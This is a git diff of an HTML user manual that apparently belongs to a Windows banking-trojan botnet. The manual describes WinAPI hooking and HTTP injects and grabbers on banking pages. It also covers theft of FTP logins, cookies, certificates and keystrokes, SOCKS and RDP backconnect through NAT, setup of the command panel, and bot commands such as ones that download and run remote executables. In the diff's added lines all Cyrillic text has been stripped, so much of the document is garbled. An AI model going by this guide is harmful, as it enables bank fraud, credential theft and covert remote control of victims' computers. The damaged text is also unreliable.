      Version history

      • Version 2.0.0.0, 01.04.2010

          @@ -854,7 +854,7 @@

          Version history

        1. RDP + VNC BACKCONNECT ADDED
      - + \ No newline at end of file diff --git a/manual_ru.html b/manual_ru.html index 076e2f4..b022527 100644 --- a/manual_ru.html +++ b/manual_ru.html @@ -1,7 +1,7 @@ - Руководство пользователя + @@ -44,515 +44,515 @@ -

      Руководство пользователя

      +

      - -

      Описание: Бот

      + +

      :

      • -

        Язык и IDE программирования:

        -

        Visual C++ (текущая версия 9.0). Не используются дополнительные библиотеки (crtl, mfc, и т.д.).

        +

        IDE :

        +

        Visual C++ ( 9.0). (crtl, mfc, ..).

      • -

        Поддерживаемые ОС:

        -

        XP/Vista/Seven, а также 2003/2003R2/2008/2008R2. В том числе работа под Windows x64, но только для 32-x битных процессов. Также сохраняется полноценная работа бота при активных сессиях "Terminal Servers".

        +

        :

        +

        XP/Vista/Seven, 2003/2003R2/2008/2008R2. Windows x64, 32-x . "Terminal Servers".

      • -

        Принцип действия:

        -

        Бот основан на перехвате WinAPI, методом сплайсинга в ring3(пользовательский режим), путем запуска копии своего кода в каждом процессе пользователя (без использования DLL).

        +

        :

        +

        WinAPI, ring3( ), ( DLL).

      • -

        Процесс установки:

        -

        В данный момент, в первую очередь бот ориентирован на работу под Vista/Seven, с включенным UAC, и без использования локальных сплойтов. Поэтому бот рассчитан на работу с минимальными привилегиями пользователя (включая пользователя "Гость"), с связи с этим бот всегда работает в пределах сессий одного пользователя (из-под которого производилась установка бота.). Бот может быть установлен для каждого пользователя в ОС, при этом боты не будут знать о существовании друг друга. При запуске бота из под пользователя "LocalSystem" произойдет попытка заражение всех пользователей в системе.

        -

        При установке, бот создает свою копию в домашней директории пользователя, эта копия является привязанной к текущему пользователю и ОС, и не может быть запущена в другом пользователе, или тем более ОС. Оригинальная же копия бота (используемая для установки), будет автоматически удалена, в независимости от успеха установки.

        +

        :

        +

        , Vista/Seven, UAC, . ( ""), (- .). , . "LocalSystem" .

        +

        , , , , . ( ), , .

      • -

        Сессия с сервером (панелью управления):

        -

        Сессия с сервером осуществляется через различные процессы из внутреннего "белого списка", что позволяет обойти большинство фаерволов. Во время сессии бот может получить конфигурацию, отправить накопившиеся отчеты, сообщить о своем состоянии серверу, и получить команды для исполнения на компьютере. Сессия происходит через HTTP-протокол, все данные отсылаемые ботом и получаемые от сервера шифруются уникальным ключом для каждого ботнета.

        +

        ( ):

        +

        " ", . , , , . HTTP-, .

      • -

        Защита:

        +

        :

          -
        1. Уникальные имена всех объектов (файлов, мютексов, ключей реестра) создаваемых ботом для каждого пользователя и ботнета.
        2. -
        3. Установленный бот не может быть запущен с иной ОС или пользователя. Уничтожается код, служащий для установки бота.
        4. -
        5. В данный момент не производиться скрытие файлов бота через WinAPI, т.к. антивирусные инструменты очень легко находят такие файла, и позволяют точно определить местоположение бота.
        6. -
        7. Автообновление бота, не требующие перезагрузки.
        8. -
        9. Контроль цельности файлов бота.
        10. +
        11. (, , ) .
        12. +
        13. . , .
        14. +
        15. WinAPI, .. , .
        16. +
        17. , .
        18. +
        19. .
      • -

        Функции серверной части бота:

        +

        :

          -
        1. Сервер Socks 4/4a/5 с поддержкой UDP и IPv6.
        2. -
        3. Бэкконект для любого сервиса (RDP, Socks, FTP, и т.д.) на зараженной машине. Т.е. возможно получить доступ к компьютеру, который находится за NAT, или, например, к которому запрещены подключения фаерволом. Для работы этой функции используется дополнительное приложение, запускаемое на любом Windows-сервере в интернете, который имеет выделенный IP.
        4. -
        5. Получение скриншота рабочего стола в реальном времени.
        6. +
        7. Socks 4/4a/5 UDP IPv6.
        8. +
        9. (RDP, Socks, FTP, ..) . .. , NAT, , , . , Windows- , IP.
        10. +
        11. .
      • -

        Перехват HTTP/HTTPS-запросов библиотек wininet.dll (Internet Explorer, Maxton, и т.д.), nspr4.dll (Mozilla Firefox):

        +

        HTTP/HTTPS- wininet.dll (Internet Explorer, Maxton, ..), nspr4.dll (Mozilla Firefox):

          -
        1. Модификация содержимого загружаемых страниц (HTTP-инжект).
        2. -
        3. Прозрачный редирект страниц (HTTP-фейк).
        4. -
        5. Получение из содержимого страницы нужных частей данных (например баланса банковского аккаунта).
        6. -
        7. Временная блокировка HTTP-инжектов и HTTP-фейков.
        8. -
        9. Временная блокировка доступа к определнным URL.
        10. -
        11. Блокировка логирования запросов для определённых URL.
        12. -
        13. Принудительное логирование всех GET запросов для определенных URL.
        14. -
        15. Создание снимка экрана вокруг курсора мыши во время клика ее кнопок.
        16. -
        17. Получение сессионных кукисов и блокировка доступа пользователя к определенным URL.
        18. +
        19. (HTTP-).
        20. +
        21. (HTTP-).
        22. +
        23. ( ).
        24. +
        25. HTTP- HTTP-.
        26. +
        27. URL.
        28. +
        29. URL.
        30. +
        31. GET URL.
        32. +
        33. .
        34. +
        35. URL.
      • -

        Получение важных данных из программ пользователя:

        +

        :

          -
        1. Логинов из FTP-клиентов: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.
        2. -
        3. "Кукисов" Adobe (Macromedia) Flash Player.
        4. -
        5. "Кукисов" wininet.dll, Mozilla Firefox.
        6. -
        7. Импорт сертификатов из хранилища сертификатов Windows. И слежение за их дальнейшим добавлением.
        8. -
        9. Слежение за нажатием клавиш клавиатуры.
        10. +
        11. FTP-: FlashFXP, CuteFtp, Total Commander, WsFTP, FileZilla, FAR Manager, WinSCP, FTP Commander, CoreFTP, SmartFTP.
        12. +
        13. "" Adobe (Macromedia) Flash Player.
        14. +
        15. "" wininet.dll, Mozilla Firefox.
        16. +
        17. Windows. .
        18. +
        19. .
      • -

        Сниффер трафика для протокола TCP в Windows Socket.

        +

        TCP Windows Socket.

          -
        1. Перехват FTP-логинов на любом порту.
        2. -
        3. Перехват POP3-логинов на любом порту.
        4. +
        5. FTP- .
        6. +
        7. POP3- .
      • -

        Прочее:

        +

        :

          -
        1. Исполнение скриптов (команд), созданных в панели управления.
        2. -
        3. Разделение ботнета на сабботнеты (по имени).
        4. +
        5. (), .
        6. +
        7. ( ).
      - + - -

      Описание: Панель управления

      + +

      :

      • -

        Язык программирования:

        -

        PHP, с использованием расширений mbstring, mysql.

        +

        :

        +

        PHP, mbstring, mysql.

      • -

        Отображаемая статистика:

        +

        :

          -
        1. Количество зараженных компьютеров.
        2. -
        3. Текущее количество ботов в онлайне.
        4. -
        5. Количество новых ботов.
        6. -
        7. Суточная активность ботов.
        8. -
        9. Статистика по странам.
        10. -
        11. Статистика по ОС.
        12. +
        13. .
        14. +
        15. .
        16. +
        17. .
        18. +
        19. .
        20. +
        21. .
        22. +
        23. .
      • -

        Работа со списком ботов:

        +

        :

          -
        1. Фильтрация списка по странам, ботнетам, IP-адресам, NAT-статусу, и т.д.
        2. -
        3. Отображение скриншотов рабочего стола в реальном времени (только для ботов вне NAT).
        4. -
        5. Массовая проверка состояния Socks-серверов.
        6. -
        7. Вывод полной информации о ботах. Из наиболее важных сюда входят: +
        8. , , IP-, NAT-, ..
        9. +
        10. ( NAT).
        11. +
        12. Socks-.
        13. +
        14. . :
            -
          • Версия Windows, язык пользователя и часовая зона.
          • -
          • Страна и IP-адреса компьютера (не относящиеся к локальным).
          • -
          • Скорость подключения к Интернету (измеряется путем вычисления времени загрузки предопределенного HTTP-ресурса).
          • -
          • Время первой и последней связи с сервером.
          • -
          • Время в онлайне.
          • +
          • Windows, .
          • +
          • IP- ( ).
          • +
          • ( HTTP-).
          • +
          • .
          • +
          • .
          -
        15. Возможность установки комментария для каждого бота.
        16. +
        17. .
      • -

        Скрипты (команды):

        -

        Вы можете управляет ботами путем составления для них скриптов. В настоящее время синтаксис, и возможности скриптов очень примитивны.

        +

        ():

        +

        . , .

      • -

        Работа с отчетами (логами) и файлами ботов:

        -

        Файлы (например скриншоты, кукисы Flash Player) полученные от ботов всегда пишутся в файлы на сервере, Вы получаете возможности искать файлы с фильтром: по имени ботов, ботнету, содержимому и имени файла.

        -

        Отчеты могут писаться как в файлы (%botnet%/%bot_id%/reports.txt), так и в базу данных. В первом случаи поиск по отчетам осуществляется точно также, как и по файлам. Во втором же случаи, Вы получаете возможность более гибкой фильтрации, и просмотра отчетов из Панели управления.

        +

        () :

        +

        ( , Flash Player) , : , , .

        +

        (%botnet%/%bot_id%/reports.txt), . , . , , .

      • -

        Получение уведомлений в IM (Jabber):

        -

        Вы можете получать уведомления из Панели управления в Jabber-аккаунт.

        -

        В данный момент существует возможность получения уведомлений о заходе пользователя на определенные HTTP/HTTPS-ресурсы. Например, это используется для перехвата сессии пользователя в онлайн-банке.

        +

        IM (Jabber):

        +

        Jabber-.

        +

        HTTP/HTTPS-. , -.

      • -

        Прочее:

        +

        :

          -
        1. Создание пользователей Панели управления с определенными правами доступа.
        2. -
        3. Вывод информации о ПО сервера.
        4. -
        5. Автоматическое восстановление поврежденных таблиц MyISAM.
        6. +
        7. .
        8. +
        9. .
        10. +
        11. MyISAM.
      - + - -

      Файл конфигурации: HTTP-инжекты/HTTP-грабберы.

      -

      Для удобства написания, HTTP-инжекты/HTTP-грабберы записываются в отдельный файл, указанный в файле конфигурации как "DynamicConfig.file_webinjects". Естественно, после создания конченого файла конфигурации, ни какие дополнительные файлы не генерируются.

      -

      Файл представляет из себя список URL'ов, для которых можно указать неограниченное количество либо вносимых в них изменений, либо получаемых из них данных. Текущий URL указывается следующей строкой:

      + +

      : HTTP-/HTTP-.

      +

      , HTTP-/HTTP- , "DynamicConfig.file_webinjects". , , .

      +

      URL', , . URL :

      set_url [url] [options] [postdata_blacklist] [postdata_whitelist] [url_block] [matched_context]

      -

      Параметры:

      +

      :

    - + - + - + - +
    urlURL, на котором должен запускаться HTTP-инжект/HTTP-граббер. Допускается использование масок (символы * и #).URL, HTTP-/HTTP-. ( * #).
    options - Определяет основные правила и условия для запсука, состоит из комбинации следующих символов: + , :
      -
    • P - запускать при POST-запросе.
    • -
    • G - запускать при GET-запросе.
    • -
    • L - если этот сивол указан, то запуск происходит как HTTP-граббера, если не указан, то как HTTP-инжекта. -
    • D - блокирует запуск более одного раза в 24 часа. Этот символ требует обязательного наличия параметра url_block.
    • -
    • F - дополняет символ "L", позволяет записывать результат не в виде обычного отчета, а в виде отдельного файла "grabbed\%host%_%year%_%month%_%day%.txt".
    • -
    • H - дополняет символ "L", сохраняет содержимое без вырезания HTML-тегов. В обычном же режиме, все HTML-теги удаляются, а некоторые преобразуются в символ "новая строка" или "пробел".
    • -
    • I - сравнивать параметр url без учета регистра (только для англ. алфавита).
    • -
    • C - сравнивать конекст без учета регистра (только для англ. алфавита).
    • +
    • P - POST-.
    • +
    • G - GET-.
    • +
    • L - , HTTP-, , HTTP-. +
    • D - 24 . url_block.
    • +
    • F - "L", , "grabbed\%host%_%year%_%month%_%day%.txt".
    • +
    • H - "L", HTML-. , HTML- , " " "".
    • +
    • I - url ( . ).
    • +
    • C - ( . ).
    postdata_blacklistПолное (от начала до конца) содержимое POST-данных, при котором не должен происходить запуск. Допускается использование масок (символы * и ?).

    Параметр является необязательным.
    ( ) POST-, . ( * ?).

    .
    postdata_whitelistПолное (от начала до конца) содержимое POST-данных, при котором должен происходить запуск. Допускается использование масок (символы * и ?).

    Параметр является необязательным.
    ( ) POST-, . ( * ?).

    .
    url_block - При отсутствии символа "D" в параметре options: -

    Если запуск должен происходить только один раз, то здесь следует указать URL, в случаи обращения к которому, дальнеший запуск будет заблокирован. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Если после блокировки, понадобится повторный запуск, то блокировку можно снять через команду "bot_httpinject_enable" с параметром, например, равному параметру url.

    - При наличии символа "D" в параметре options: -

    Необходимо указать URL, при обращении к которому, запуск будет заблокирован на 24-е часа. Ожидание этого URL начинается сразу после применения HTTP-инжекта/HTTP-граббера. Эту блокировку нельзя снять через через команду "bot_httpinject_enable".

    - Параметр является необязательным при отсутствии символа "D" в параметре options. + "D" options: +

    , URL, , . URL HTTP-/HTTP-. , , "bot_httpinject_enable" , , url.

    + "D" options: +

    URL, , 24- . URL HTTP-/HTTP-. "bot_httpinject_enable".

    + "D" options.
    matched_contextПодсодержимое (подстрока) содеримого URL, при котором должен происходить запуск. Допускается использование масок (символы * и ?).

    Параметр является необязательным.
    () URL, . ( * ?).

    .
    -

    Со следующей строки начинается список изменений вносимых, в содержимое URL, а при наличии символа "L" в параметре options - список данных, получаемых из содержимое URL. Это список длится до тех пор, пока не достигнут конец файла, или не задан новый URL.

    Единица списка состоит из трех элементов в произвольном порядке:

    +

    , URL, "L" options - , URL. , , URL.

    :

    data_before - При отсутвие символа "L" в параметре options: -

    Подсодержиоме в соедржимом URL, после окончания которого нужно внести новые данные.

    - При наличии символа "L" в параметре options: -

    Подсодержиоме в соедржимом URL, после окончания которого нужно начать получить данные для отчета.

    - Допускается использование масок (символы * и ?). + "L" options: +

    URL, .

    + "L" options: +

    URL, .

    + ( * ?).
    data_after - При отсутвие символа "L" в параметре options: -

    Подсодержиоме в соедржимом URL, передкоторым нужно закончить новые данные.

    - При наличии символа "L" в параметре options: -

    Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.

    - Допускается использование масок (символы * и ?). + "L" options: +

    URL, .

    + "L" options: +

    URL, .

    + ( * ?).
    data_inject - При отсутвие символа "L" в параметре options: -

    Новые данные, который будут внесены между данными найденысмм по data_before и data_after.

    - При наличии символа "L" в параметре options: -

    Подсодержиоме в соедржимом URL, после окончания которого нужно закончить получать данные для отчета.

    + "L" options: +

    , data_before data_after.

    + "L" options: +

    URL, .

    -

    Примеры:

    +

    :

    - + - +
    user_homepage_set http://www.google.com/Принудительная установка домашней страницы "http://www.google.com/". "http://www.google.com/".
    user_homepage_setПринудительная установка домашней страницы будет отключена. .
    -ЛИМИТЫ -ЛОГИКА ПРИ НЕЗАПОЛЕННЫХ before или after + + before after - + - -

    Панель управления: Настройка сервера

    -

    Сервер является центральной точкой управления ботнетом, он занимается сборкой отчетов ботов, и отдачей команд ботам. Крайне не рекомендуется использовать "Виртуальный Хостинг" или "VDS", т.к. при увеличение ботнета, нагрузка на сервер будет увеличиваться, и такой вид хостинга довольно быстро исчерпает свои ресурсы. Вам нужен "Выделенный сервер" (Дедик), рекомендуемая минимальная конфигурация:

    + +

    :

    +

    , , . " " "VDS", .. , , . " " (), :

      -
    • 2Гб ОЗУ.
    • -
    • 2x процессор частотой 2Ггц.
    • -
    • Отдельный винчестер для базы данных.
    • +
    • 2 .
    • +
    • 2x 2.
    • +
    • .
    -

    Для работы бота необходим HTTP-сервер с подключенным PHP + Zend Optimizer, и MySQL-сервер.
    ВНИМАНИЕ: Для Windows-серверов очень важно изменить (создать) следующее значение реестра: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534 (десятичное).

    +

    HTTP- PHP + Zend Optimizer, MySQL-.
    : Windows- () : HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\MaxUserPort=dword:65534 ().

    • -

      HTTP-сервер:

      -

      В качестве HTTP-сервера рекомендуется использовать: для nix-систем - Apache от версии 2.2, для Windows-серверов - IIS от версии 6.0. Рекомендуется держать HTTP-сервер на 80 или 443 портах (это положительно влияет на отстук бота, поскольку провайдеры/прокси могут блокировать доступ на иные, нестандартные порты).

      -

      Загрузить Apache: http://apache.org/dyn/closer.cgi.
      Сайт IIS: http://www.iis.net/.

      +

      HTTP-:

      +

      HTTP- : nix- - Apache 2.2, Windows- - IIS 6.0. HTTP- 80 443 ( , / , ).

      +

      Apache: http://apache.org/dyn/closer.cgi.
      IIS: http://www.iis.net/.

    • -

      Интерпретатор PHP:

      -

      Последняя версия панели управления разрабатывалась на PHP 5.2.6. Поэтому крайне рекомендуется использовать версию, не ниже этой версии.

      -

      Важно произвести следующие настройки в php.ini:

      +

      PHP:

      +

      PHP 5.2.6. , .

      +

      php.ini:

      • safe_mode = Off
      • magic_quotes_gpc = Off
      • magic_quotes_runtime = Off
      • -
      • memory_limit = 256M ;Или выше.
      • -
      • post_max_size = 100M ;Или выше.
      • +
      • memory_limit = 256M ; .
      • +
      • post_max_size = 100M ; .
      -

      а также рекомендуется изменить следующие настройки:

      +

      :

      • display_errors = Off
      -

      Также понадобиться подключить Zend Optimizer (ускорение работы скриптов, и запуск защищенных скриптов). Рекомендуется версия от 3.3.

      -

      Не рекомендуется подключать PHP к HTTP-серверу через CGI.

      -

      Загрузить PHP: http://www.php.net/downloads.php.
      Загрузить Zend Optimizer: http://www.zend.com/en/products/guard/downloads.

      +

      Zend Optimizer ( , ). 3.3.

      +

      PHP HTTP- CGI.

      +

      PHP: http://www.php.net/downloads.php.
      Zend Optimizer: http://www.zend.com/en/products/guard/downloads.

    • -

      MySQL-сервер:

      -

      MySQL требуется для хранения всех данных об ботнете. Рекомендуемая версия не ниже 5.1.30, так же стоит учесть, что при работе панели управления в более старых версиях были обнаружены некоторые проблемы. Все таблицы панели управления идут в формате MyISAM, важно правильно оптимизировать быстродействие работы с этим форматом, исходя из доступных ресурсов сервера.

      -

      Рекомендуется внести следующие изменения в настройки MySQL-сервера (my или my.ini):

      +

      MySQL-:

      +

      MySQL . 5.1.30, , . MyISAM, , .

      +

      MySQL- (my my.ini):

        -
      • max_connections=2000 #Или выше
      • +
      • max_connections=2000 #
      -

      Загрузить MySQL: http://dev.mysql.com/downloads/.

      +

      MySQL: http://dev.mysql.com/downloads/.

    - + - -

    Панель управления: Установка

    -

    Назначение файлов и папок:

    + +

    :

    +

    :

    - - - - - - - - + + + + + + + +
    /installинсталлятор
    /systemсистемные файлы
    /system/fsarc.phpскрипт для вызова внешнего архиватора
    /system/config.phpфайл конфигурации
    /themeфайлы темы (дизайн), без зенда, могут свободно изменяться
    cp.phpвход в панель управления
    gate.phpгэйт для ботов
    index.phpпустой файл для предотвращения листинга файлов
    /install
    /system
    /system/fsarc.php
    /system/config.php
    /theme (), ,
    cp.php
    gate.php
    index.php
    -

    Панель управления обычно расположена в вашем дистрибутиве в папке server[php]. Все содержимое этой папки необходимо загрузить на сервер в любую папку доступную по HTTP. Если Вы загружаете ее через FTP, то все файлы нужно загрузить в БИНАРНОМ режиме.

    -

    Для nix-систем выставите права:

    +

    server[php]. HTTP. FTP, .

    +

    nix- :

    /.777
    /system777
    /tmp777
    -

    Для Windows-систем выставите права:

    +

    Windows- :

    - - + +
    \systemправа на полные права на запись, чтение для пользователя из под которого происходит доступ через HTTP. Для IIS это обычно IUSR_*
    \tmpтакже как и для \system
    \system , HTTP. IIS IUSR_*
    \tmp \system
    -

    После того как все файлы загружены и для них выставлены права, необходимо через браузер запустить инсталлятор по URL http://сервер/папка/install/index.php. Следуйте появившимся инструкциям, в случаи возникновения ошибок (Вы будете подробно уведомлены) в процесс установки, проверти правильность введенных данных, и правильность установки прав на папки.

    -

    После установки, рекомендуется удалить директорию install, и переименовать файлы cp.php (вход в панель управления) и gate.php (гэйт для ботов) в любые файлы по вашему желанию (расширение менять нельзя).

    -

    Теперь Вы можете благополучно входить в панель управления, введя в браузере URL переименованного файла cp.php.

    - - - -

    Панель управления: Обновление

    -

    Если Вы обладаете более новой копией панели управления, и желаете обновить старую версию, то необходимо сделать следующие:

    +

    , URL http:////install/index.php. , ( ) , , .

    +

    , install, cp.php ( ) gate.php ( ) ( ).

    +

    , URL cp.php.

    + + + +

    :

    +

    , , :

      -
    1. Скопировать файлы новой панели управления на место старых.
    2. -
    3. Переименовать файлы cp.php и gate.php согласно их реальным именам выбранным вами при установке старой панели управления.
    4. -
    5. На всякой случай, повторно выставить права на директории согласно этому разделу.
    6. -
    7. Через браузер запустить инсталлятор по URL http://сервер/директория/install/index.php, и следовать появившимся инструкциям. Процесс работы инсталлятора может занять достаточно большой промежуток времени, это связано с тем, что некоторые таблицы с отчетами могут пересоздаваться.
    8. -
    9. Можно пользоваться новой панелью управления.
    10. +
    11. .
    12. +
    13. cp.php gate.php .
    14. +
    15. , .
    16. +
    17. URL http:////install/index.php, . , , .
    18. +
    19. .
    - + - -

    Панель управления: Файл /system/fsarc.php.

    -

    Данный файл содержит в себе функцию для вызова внешнего архиватора. В данный момент архиватор используется только в модуле "Отчеты::Поиск в файлах" (reports_files), и вызывается для загрузки файлов и папок в виде одного архива. По умолчанию функция настроена на архиватор Zip, и является универсальной для Windows и nix, поэтому все что вам нужно сделать, это установить в систему этот архиватор, и дать права на его исполнение. Вы также можете отредактировать этот файл для работы с любым архиватором.

    -

    Загрузить Zip: http://www.info-zip.org/Zip.html.

    - + +

    : /system/fsarc.php.

    +

    . ":: " (reports_files), . Zip, Windows nix, , , . .

    +

    Zip: http://www.info-zip.org/Zip.html.

    + - -

    Панель управления: Команды, используемые в скриптах

    + +

    : ,

    • os_shutdown

      -

      Выключение компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.

      +

      . , .

    • os_reboot

      -

      Перезагрузка компьютера. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.

      +

      . , .

    • bot_uninstall

      -

      Полное удаление бота из текщего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.

      +

      . , .

    • bot_update [url]

      -

      Обновления файла конфигурации бота.

      -

      Параметры:

      +

      .

      +

      :

      url - URL, с которого необходимо загрузить файл конфигурации. В случаи успешной загрузки конфигурации, из нее будет принудительно загружен и запущен файл (с параметром "-f"), указный в "DynamicConfig.url_loader".

      - Если же, это параметр не указан или является пустым, то произойдет загрузка файла конфигурации в обычном режиме (т.е. как будь-то пришло время по "StaticConfig.timer_config"), со всеми вытекающими последствиями. + URL, . , ( "-f"), "DynamicConfig.url_loader".

      + , , (.. - "StaticConfig.timer_config"), .
      -

      Примеры:

      +

      :

      - +
      bot_update http://domain/update.binЗагрузка файла конфигурации "http://domain/update.bin". "http://domain/update.bin".
    • bot_bc_add [service] [backconnect_server] [backconnect_server_port]

      -

      Добавление постоянной (сессия будет восстановлена даже после перезагрузки компьютера) бэкконект-сессии. Данная команда доступна не во всех сборках ПО.

      -

      Параметры:

      +

      ( ) -. .

      +

      :

      - + - + - +
      serviceНомер порта или текстовое имя сервиса, для которого создается сессия. , .
      backconnect_serverХост, на котором запущен бэкконект-сервер., -.
      backconnect_server_portНомер порта на хосте [backconnect_server]. [backconnect_server].
      -

      Примеры:

      +

      :

      - + - +
      bot_bc_add socks 192.168.100.1 4500Вы получаете доступ к Socks-серверу. Socks-.
      bot_bc_add 3389 192.168.100.1 4500Вы получаете доступ к RDP. RDP.
    • bot_bc_remove [service] [backconnect_server] [backconnect_server_port]

      -

      Завершение постоянных бэкконект-сессий. Данная команда доступна не во всех сборках ПО.

      -

      Параметры:

      +

      -. .

      +

      :

      - + - + - +
      serviceНомер порта или текстовое имя сервиса, для которого удаляется сессия. Допускается использование масок (символы * и ?), для удаления группы сессий. , . ( * ?), .
      backconnect_serverХост, на котором запущен бэкконект-сервер. Допускается использование масок (символы * и ?), для удаления группы сессий., -. ( * ?), .
      backconnect_server_portНомер порта на хосте [backconnect_server]. Допускается использование масок (символы * и ?), для удаления группы сессий. [backconnect_server]. ( * ?), .
      -

      Примеры:

      +

      :

      - + - +
      bot_bc_remove socks * *Удаляются все сессий связанные с сервисом socks. socks.
      bot_bc_remove * * *Удаляются все существующие сессий. .
    • bot_httpinject_disable [url_1] [url_2] ... [url_X]

      -

      Блокировка исполнения HTTP-инжектов на определенных URL для текущего пользователя. Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.

      -

      Параметры:

      +

      HTTP- URL . , .

      +

      :

      - +
      url_1, ulr_2, ...URL'ы, на которых необходимо заблокировать исполнение HTTP-инжектов. Допускается использование масок (символы * и #).URL', HTTP-. ( * #).
      -

      Примеры:

      +

      :

      - + - + - +
      bot_httpinject_disable http://www.google.com/*Блокировка исполнения HTTP-инжектов для http://www.google.com/. HTTP- http://www.google.com/.
      bot_httpinject_disable *Блокировка исполнения HTTP-инжектов для любого URL. HTTP- URL.
      bot_httpinject_disable *.html *.gifБлокировка исполнения HTTP-инжектов для файлов с расширением html и gif. HTTP- html gif.
    • bot_httpinject_enable [url_1] [url_2] ... [url_X]

      -

      Снятие блокировки исполнения HTTP-инжектов на определенных URL для текущего пользователя.

      -

      Параметры:

      +

      HTTP- URL .

      +

      :

      - +
      url_1, ulr_2, ...Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL. ( * #), URL URL.
      -

      Примеры:

      +

      :

      - + - + - +
      bot_httpinject_enable *.google.*Удалить блокировку исполнения HTTP-инжектов по любому URL из списка заблокированных, которые содержат в себе ".google.". HTTP- URL , ".google.".
      bot_httpinject_enable *Полностью очистит список блокировок исполнения HTTP-инжектов. HTTP-.
      bot_httpinject_enable *.html https://*Удалить блокировку исполнения HTTP-инжектов со всех html-файлов, и на все HTTPS-ресурсы. HTTP- html-, HTTPS-.
    • @@ -570,284 +570,284 @@

      Панель управления: Коман -->
    • user_logoff

      -

      Завершение сеанса (logoff) текущего пользователя. Данная команда будет исполнена после исполнения всего скрипта, независимо от позиции в скрипте.

      +

      (logoff) . , .

    • user_execute [path] [parameters]

      -

      Запуск процесса от имени текущего пользователя. Запуск процесса происходит через ShellExecuteW(,NULL,,,,), если запуск не удался, то процесс создается через CreateProcessW.

      -

      Параметры:

      +

      . ShellExecuteW(,NULL,,,,), , CreateProcessW.

      +

      :

      - +
      path - Локальный путь или URL. Может быть указан как исполняемый файл (exe), так и любой другой (doc, txt, bmp, и т.д.). Для успешного запуска не исполняемого файла (не exe), с ним должна быть ассоциирована какая-либо программа.

      - Если параметр является локальным путем, то происходит обычное создание процесса. Разрешается использовать "переменные окружения".

      - Если параметр является URL, то происходит загрузка этого URL в файл "%TEMP%\random_name\file_name", где random_name - произвольное имя папки, а file_name - имя ресурса из последней части URL-пути(если URL-путь кончается на слэш, то произодйет ошибка). В настоящее время разрешается использовать только HTTP и HTTPS протоколы, также рекомендуется указывать URL-путь в URL-кодировке (актуально для не английских символов, подробности в RFC 1630 и 1738). + URL. (exe), (doc, txt, bmp, ..). ( exe), - .

      + , . " ".

      + URL, URL "%TEMP%\random_name\file_name", random_name - , file_name - URL-( URL- , ). HTTP HTTPS , URL- URL- ( , RFC 1630 1738).
      parametersПроизвольные параметры передаваемые процессу (не обрабатываются ботом). Являются не обязательными. ( ). .
      -

      Примеры:

      +

      :

      - + - + - + - +
      user_execute http://www.google.com/dave/superdocumet.docЗагрузка файла в "%TEMP%\random_name\superdocumet.doc", и его запуск, например через MS Word. "%TEMP%\random_name\superdocumet.doc", , MS Word.
      user_execute http://www.google.com/dave/killer.exe /KILLALL /RESTARTЗагрузка файла в "%TEMP%\random_name\killer.exe", и его запуск с параметрами "/KILALL /RESTART". "%TEMP%\random_name\killer.exe", "/KILALL /RESTART".
      user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe"Запуск медиа-плеера. -.
      user_execute "%ProgramFiles%\Windows Media Player\wmplayer.exe" "analporno.wmv"Запуск медиа-плеера с параметром "analporno.wmv". - "analporno.wmv".
    • user_cookies_get

      -

      Получение кукисов всех известных браузеров.

      +

      .

    • user_cookies_remove

      -

      Удаление всех кукисов из всех известных браузеров.

      +

      .

    • user_certs_get

      -

      Получение всех экспортируемых сертификатов из хранилища сертификатов "MY" текущего пользователя. Сертификаты будут загружены на сервер в виде pfx-файла с паролем "pass".

      +

      "MY" . pfx- "pass".

    • user_certs_remove

      -

      Очистка хранилища сертификатов "MY" текущего пользователя.

      +

      "MY" .

    • user_url_block [url_1] [url_2] ... [url_X]

      -

      Блокировка доступа к URL в известных библиотеках (браузеров) для текущего пользователя. Вызов этой команды не обнуляет существующий список блокировки, а дополняет его.

      - При попытке доступа к заблокированным URL, бот устанавливает следующие коды ошибок:

      +

      URL () . , .

      + URL, :

      • wininet.dll - ERROR_HTTP_INVALID_SERVER_RESPONSE
      • nspr4.dll - PR_CONNECT_REFUSED_ERROR
      -

      Параметры:

      +

      :

      - +
      url_1, ulr_2, ...URL'ы, к котором необходимо заблокировать доступ. Допускается использование масок (символы * и #).URL', . ( * #).
      -

      Примеры:

      +

      :

      - + - + - +
      user_url_block http://www.google.com/*Блокировка доступа к любому URL на http://www.google.com/. URL http://www.google.com/.
      user_url_block *Полная блокировка доступа к любому ресурсу. .
      user_url_block http://*.ru/*.html https://*.ru/*Блокировка доступа к любому html-файлу в зоне ru, и блокировка доступа к HTTPS-ресурсам в зоне ru. html- ru, HTTPS- ru.
    • user_url_unblock [url_1] [url_2] ... [url_X]

      -

      Снятие блокировки доступа к URL в известных библиотеках (браузеров) для текущего пользователя.

      -

      Параметры:

      +

      URL () .

      +

      :

      - +
      url_1, ulr_2, ...Маски (символы * и #), по которым из списка заблокированных URL необходимо удалить URL. ( * #), URL URL.
      -

      Примеры:

      +

      :

      - + - + - +
      user_url_unblock *.google.*Удалить блокировку по любому URL из списка заблокированных, которые содержат в себе ".google.". URL , ".google.".
      user_url_unblock *Полностью очистит список блокировок URL. URL.
      user_url_unblock *.html https://*Удалить блокировку со всех html-файлов, и блокировку на все HTTPS-ресурсы. html-, HTTPS-.
    • user_homepage_set [url]

      -

      Принудительное изменение домашней страницы для всех известных браузеров текущего пользователя. Даже если пользователь попытается изменить страницу, она будет автоматически восстановлена на страницу, указанную этой командой.

      -

      Параметры:

      +

      . , , .

      +

      :

      url - URL, которая будет установлена в качестве домашней страницы.

      - Если же, это параметр не указан или является пустым, то произойдет отключение принудительной установки домашней страницы, но при этом, не произойдет восстановление оригинальной страницы, указанной пользователем. Т.е. бот более не будет препятствовать изменению домашней страницы. + URL, .

      + , , , , , . .. .
      -

      Примеры:

      +

      :

      - + - +
